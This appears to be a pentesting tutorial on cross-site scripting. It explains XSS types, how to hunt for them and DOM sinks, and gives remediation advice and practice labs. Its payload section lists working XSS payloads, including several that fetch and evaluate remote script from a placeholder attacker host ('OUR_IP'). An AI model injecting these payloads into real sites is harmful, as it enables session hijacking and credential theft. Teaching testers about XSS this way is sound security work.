Understanding the vulnerability
Cross-Site-Scripting is called cross site because it was previously exploited by specifying the script source of the payload from an external controlled endpoint. It is still possible to do so but injections can embed the code directly.
An attacker can exploit an XSS by leveraging a controllable user-input that gets returned to a target, be it persistent or not. If the user-input is not sanitized properly and rendered in an HTML response, you can inject script that triggers various actions such as :
- Session Hijacking
- Forcing the target to trigger actions unknowingly
- Deface the vulnerable endpoint (fake login page to steal credentials) And the list goes on.
Finding XSS in the wild
When looking for XSS, we should start by automate scans for low hanging fruits. Note scans are mostly doing GET requests and will often find results for Reflected XSS. Since POST requests might alter the server state, scanning with these is risky unless your scan is well defined for your target.
Go through the whole web-app and try formular request, identify query parameter in URL, note input-field and how they are rendered (if not blind).
Useful payloads
Having overall payloads to test is good for stored XSS, however the most important is identifying how is process your input and rendered in the HTML code. PortSwigger Payload cheatsheet is very convenient to test for XSS once you identified the context you’re dealing with.
Other than that, here is some payloads and each use (collected from different lists such as PayloadAllTheThings):
<!--More interesting since you can get information other than the simple 1 popup-->
<script>alert(document.domain.concat("\n").concat(window.origin))</script>
<script>console.log("Test XSS from the search bar of page XYZ\n".concat(document.domain).concat("\n").concat(window.origin))</script>
<!-- Close bracket and insert script -->
'><script>alert(1)</script>
<!-- Use double quote to close opened ones-->
"><script>alert(1)</script>
<!--Leverage the javascript: keyword when tags is not usable. -->
javascript:eval('var a=document.createElement(\'script\');a.src=\'http://OUR_IP\';document.body.appendChild(a)')
<!--Leverage eval functionality -->
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//OUR_IP");a.send();</script>
<script>$.getScript("http://OUR_IP")</script>
<!--Img payload + close possible quotes in the HTML render. -->
"><img src=x onerror=alert(document.domain);>Searching for DOM-Based XSS
DOM-Based XSS are slightly different because they get triggered from the dynamic scripts in the browser by sinks. Here’s a list of most used sinks to search for in in source-code :
- document.write()
- document.writeln()
- document.domain
- element.innerHTML
- element.outerHTML
- element.insertAdjacentHTML
- element.onevent JQuery specific
- add()
- after()
- append()
- animate()
- insertAfter()
- insertBefore()
- before()
- html()
- prepend()
- replaceAll()
- replaceWith()
- wrap()
- wrapInner()
- wrapAll()
- has()
- constructor()
- init()
- index()
- jQuery.parseHTML()
- $.parseHTML()
Blind XSS methodology
Every XSS might not be stored to an accessible endpoint or reflected to you directly. This means you can’t verify the validity of your exploit directly, so we need to process the same way we would for blind ssrf with out-of-band detection for example.
Setup a Burp-Collaborator server, a server listening exposed online or inside an internal network (and you have access to it depending on the context).
Remediation
Every controllable input sent by clients should be filtered and sanitized. Output encode user controlled variables.
“Ensuring that all variables go through validation and are then escaped or sanitized is known as perfect injection resistance. Any variable that does not go through this process is a potential weakness. Frameworks make it easy to ensure variables are correctly validated and escaped or sanitised.” From OWASP XSS prevention cheat sheet.
- Sanitize input server-side (client-side would defeat the purpose since you can bypass from Proxy, DOM-Purify is most common and some frameworks do it already).
- Avoid to embed any user input in
script ; style ; tag/attributes ; comments - Avoid to embed user input in source or to be evaluated in sinks
- Encode HTML characters into HTML entities (e.g.
<into<)
Bonus resources are a proper setup of the CSP (though it’s meant for advanced and mature application, these restriction tend to break the flow if not setup correctly), setting appropriate flags on cookies such as HTTPOnly and Secure. WAF deserve to be mentioned if they are properly configured.
Practicing
Root-Me has many challenges to practice, but first you should work with Portswigger XSS labs to get used to it.
cross-site scripting (xss) module for both CWES and CPTS is relevant, notably on searching for blind XSS.